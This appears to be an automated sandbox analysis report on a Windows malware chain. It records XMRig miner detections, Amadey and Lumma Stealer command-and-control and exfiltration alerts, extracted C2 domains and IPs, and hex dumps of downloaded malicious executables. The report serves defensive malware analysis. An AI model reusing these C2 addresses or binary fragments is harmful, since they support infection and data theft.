                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\1019319001\b7c03317c9.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\1019317001\72f44ceb0a.exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exeJoe Sandbox ML: detected
                              Source: C:\Users\user\AppData\Local\Temp\e458d263c0\Gxtuum.exeJoe Sandbox ML: detected
                              Machine Learning detection for sample
                              Source: file.exeJoe Sandbox ML: detected
                              Source: b7c03317c9.exe, 0000002A.00000003.2782175661.0000000007A76000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----memstr_d38828e7-d

                              Bitcoin Miner

                              barindex
                              Yara detected Xmrig cryptocurrency miner
                              Source: Yara matchFile source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 30.3.Intel_PTT_EK_Recertification.exe.1fe626e0000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 47.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 46.3.Intel_PTT_EK_Recertification.exe.202aa9d0000.0.raw.unpack, type: UNPACKEDPE
                              Source: Yara matchFile source: 0000001F.00000002.2529597968.0000000001319000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000001F.00000002.2529597968.00000000012F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000001F.00000002.2530687816.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.2881532847.00000000006D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.2881532847.00000000006F9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000001F.00000002.2530936090.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.2882244663.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.2881532847.0000000000714000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002F.00000002.2882428177.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: 0000002E.00000003.2876108637.00000202AA9D0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                              Source: Yara matchFile source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 8088, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 8060, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 6248, type: MEMORYSTR
                              Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 6284, type: MEMORYSTR
                              Found strings related to Crypto-Mining
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: cryptonight/0
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: -o, --url=URL URL of mining server
                              Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2521605943.000001FE626E0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
                              Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Google\Chrome\Extensions
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\graph
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\graph\graph.exe
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5f
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeDirectory created: C:\Program Files\Windows Media Player\1w4lv5IzuEVOMa3sjCc6orj2dWPvJoK5fzip
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49805 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49810 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49816 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49825 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49833 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49842 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49846 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49853 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.46:443 -> 192.168.2.4:49852 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49858 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49862 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.67.146:443 -> 192.168.2.4:49867 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49872 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49879 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 34.117.59.81:443 -> 192.168.2.4:49880 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49888 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49888 version: TLS 1.2
                              Source: unknownHTTPS traffic detected: 104.21.91.209:443 -> 192.168.2.4:49925 version: TLS 1.2
                              Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb% source: 4115805b10.exe, 00000027.00000003.2754575088.00000268125C2000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000029.00000000.2754980065.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 00000029.00000002.2936121844.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000002.2935569861.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000000.2777839944.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000000.2854750206.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000002.2936047599.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp
                              Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp
                              Source: Binary string: D:\exe\final\merged_final\x64\Release\fetcher2.pdb[ source: 4115805b10.exe, 00000027.00000000.2649047959.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000027.00000002.2797453206.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000002.2820458214.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp, 4115805b10.exe, 00000028.00000000.2667326161.00007FF6BDA40000.00000002.00000001.01000000.00000012.sdmp
                              Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdb source: skotes.exe, 00000005.00000002.2942570852.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, 322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmp
                              Source: Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewTextV2.pdbdj~j pj_CorExeMainmscoree.dll source: skotes.exe, 00000005.00000002.2942570852.0000000000DEA000.00000004.00000020.00020000.00000000.sdmp, 322c3dce5b.exe, 00000033.00000000.2907742348.0000000000032000.00000002.00000001.01000000.00000016.sdmp
                              Source: Binary string: D:\exe\final\final\graph\x64\Release\graph.pdb source: 4115805b10.exe, 00000027.00000003.2754575088.00000268125C2000.00000004.00000020.00020000.00000000.sdmp, graph.exe, 00000029.00000000.2754980065.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 00000029.00000002.2936121844.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000002.2935569861.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002B.00000000.2777839944.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000000.2854750206.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp, graph.exe, 0000002D.00000002.2936047599.00007FF68FAE9000.00000002.00000001.01000000.00000013.sdmp
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocHandler
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}
                              Source: C:\Users\user\AppData\Local\Temp\1019318001\4115805b10.exeKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs
                              Source: C:\Users\user\AppData\Local\Temp\1019316001\b2885fa695.exeDirectory queried: number of queries: 1001
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_0040367D GetFileAttributesW,SetLastError,FindFirstFileW,FindClose,CompareFileTime,6_2_0040367D
                              Source: C:\Users\user\AppData\Local\Temp\1019315001\5f0a381314.exeCode function: 6_2_004031DC FindFirstFileW,SetFileAttributesW,lstrcmpW,lstrcmpW,SetFileAttributesW,DeleteFileW,FindNextFileW,FindClose,SetFileAttributesW,RemoveDirectoryW,??3@YAXPAX@Z,??3@YAXPAX@Z,6_2_004031DC
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C87978 FindFirstFileW,FindFirstFileW,free,10_2_00C87978
                              Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 10_2_00C8881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,10_2_00C8881C
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\Jump to behavior
                              Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\extractedJump to behavior

                              Networking

                              barindex
                              Suricata IDS alerts for network traffic
                              Source: Network trafficSuricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49754
                              Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49804 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49822 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49849 -> 212.193.31.8:80
                              Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49843 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:49786 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49868 -> 212.193.31.8:80
                              Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49886 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49889 -> 212.193.31.8:80
                              Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49911 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49908 -> 212.193.31.8:80
                              Source: Network trafficSuricata IDS: 2856148 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M4 : 192.168.2.4:49926 -> 212.193.31.8:80
                              Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49930 -> 185.215.113.43:80
                              Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49842 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49867 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49805 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49805 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49810 -> 104.21.67.146:443
                              Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49810 -> 104.21.67.146:443
                              C2 URLs / IPs found in malware configuration
                              Source: Malware configuration extractorURLs: treehoneyi.click
                              Source: Malware configuration extractorURLs: energyaffai.lat
                              Source: Malware configuration extractorURLs: sustainskelet.lat
                              Source: Malware configuration extractorURLs: discokeyus.lat
                              Source: Malware configuration extractorURLs: grannyejh.lat
                              Source: Malware configuration extractorURLs: rapeflowwj.lat
                              Source: Malware configuration extractorURLs: crosshuaht.lat
                              Source: Malware configuration extractorURLs: aspecteirs.lat
                              Source: Malware configuration extractorURLs: necklacebudi.lat
                              Source: Malware configuration extractorIPs: 185.215.113.43
                              Uses ping.exe to check the status of other devices and networks
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
                              Uses the Telegram API (likely for C&C communication)
                              Source: unknownDNS query: name: api.telegram.org
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:15:10 GMTContent-Type: application/octet-streamContent-Length: 4438776Last-Modified: Tue, 10 Dec 2024 00:01:52 GMTConnection: keep-aliveETag: "675784f0-43baf8"Accept-Ranges: bytesData Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0e 8e 01 00 00 10 00 00 00 90 01 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 da 3b 00 00 00 a0 01 00 00 3c 00 00 00 92 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 4d 00 00 00 e0 01 00 00 0a 00 00 00 ce 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 4f 00 00 00 30 02 00 00 50 00 00 00 d8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 55 8b ec a1 60 e9 41 00 81 ec 04 09 00 00 53 33 db 3b c3 56 57 74 1f 66 39 1d 62 e9 41 00 74 07 ff d0 a3 60 e9 41 00 50 e8 50 14 00 00 50 e8 ef 84 00 00 59 eb 6e 6a 27 e8 40 14 00 00 8b 75 08 ff 76 0c 8b 3d c0 a2 41 00 ff 36 50 8d 85 fc f6 ff ff 50 ff d7 83 c4 14 39 5e 10 89 5d fc 76 38 8d 5e 14 ff 33 8d 85 fc fe ff ff 68 90 a4 41 00 50 ff d7 83 c4 0c 8d 85 fc fe ff ff 50 8d 85 fc f6 ff ff 50 ff 15 78 a1 41 00 ff 45 fc 8b 45 fc 83 c3 04 3b 46 10 72 cb 8d 85 fc f6 ff ff 50 e8 7e 84 00 00 59 e8 d4 36 00 00 6a 0a ff 15 74 a1 41 00 cc ff 74 24 04 e8 44 ff ff ff cc 56 8b f1 e8 25 73 00 00 c7 06 a0 a4 41 00 c7 46 38 d2 07 00 00 8b c6 5e c3 6a 01 ff 71 04 ff 15 bc a2 41 00 c3 33 c0 39 05 60 ea 41 00 74 07 b8 04 40 00 80 eb 1e 39 44 24 08 74 16 ff 74 24 08 50 68 02 80 00 00 ff 35 58 ea 41 00 ff 15 b8 a2 41 00 33 c0 c2 08 00 8b 44 24 04 83 60 1c 00 83 7c 24 08 00 75 07 c7 40 1c 01 00 00 00 33 c0 c2 08 00 a0 70 e9 41 00 f6 d8 1b c0 83 e0 0b 83 c0 08 c3 ff 74 24 10 8b 44 24 08 ff 74 24 10 c7 05 60 e9 41 00 2f 11 40 00 ff 74 24 10 8b 08 50 ff 51 0c 83 25 60 e9 41 00 00 c3 33 c0 c2 0c 00 8b 54 24 08 8b 4c 24 04 0f b7 02 66 89 01 41 41 42 42 66 85 c0 75 f1 c3 8b 4c 24 04 33 c0 66 39
                              Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 11:15:22 GMTContent-Type: application/octet-streamContent-Length: 1861632Last-Modified: Thu, 19 Dec 2024 20:35:58 GMTConnection: keep-aliveETag: "676483ae-1c6800"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 50 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 49 00 00 04 00 00 49 41 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 